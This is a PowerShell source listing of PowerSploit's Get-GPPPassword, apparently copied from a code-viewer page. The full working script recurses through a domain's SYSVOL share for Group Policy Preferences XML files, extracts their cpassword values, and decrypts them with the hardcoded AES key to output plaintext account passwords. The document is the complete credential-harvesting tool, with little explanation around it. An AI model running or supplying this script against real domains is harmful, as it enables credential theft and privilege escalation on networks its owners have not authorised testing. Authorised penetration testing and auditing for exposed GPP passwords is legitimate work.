1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.EXAMPLE
Get-GPPPassword
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[CmdletBinding()]
Param ()
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error "$Error[0]"}
}
#discover potential files containing passwords
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
foreach ($File in $XMLFiles) {
try {
$Filename = $File.Name
$Filepath = $File.VersionInfo.FileName
#put filename in $XmlFile
[xml] $Xml = Get-Content ($File)
#declare blank variables
$Cpassword = ''
$UserName = ''
$NewName = ''
$Changed = ''
switch ($Filename) {
'Groups.xml' {
$Cpassword = $Xml.Groups.User.Properties.cpassword
$UserName = $Xml.Groups.User.Properties.userName
$NewName = $Xml.Groups.User.Properties.newName
$Changed = $Xml.Groups.User.changed
}
'Services.xml' {
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
$UserName = $Xml.NTServices.NTService.Properties.accountName
$Changed = $Xml.NTServices.NTService.changed
}
'Scheduledtasks.xml' {
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
$Changed = $Xml.ScheduledTasks.Task.changed
}
'DataSources.xml' {
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
$UserName = $Xml.DataSources.DataSource.Properties.username
$Changed = $Xml.DataSources.DataSource.changed
}
}
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
else {Write-Verbose "No encrypted passwords found in $Filepath"}
#Create custom object to output results
$ObjectProperties = @{'Password' = $Password;
'UserName' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName
'File' = $Filepath}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Output $ResultsObject
}
catch {Write-Error $Error[0]}
}
}
|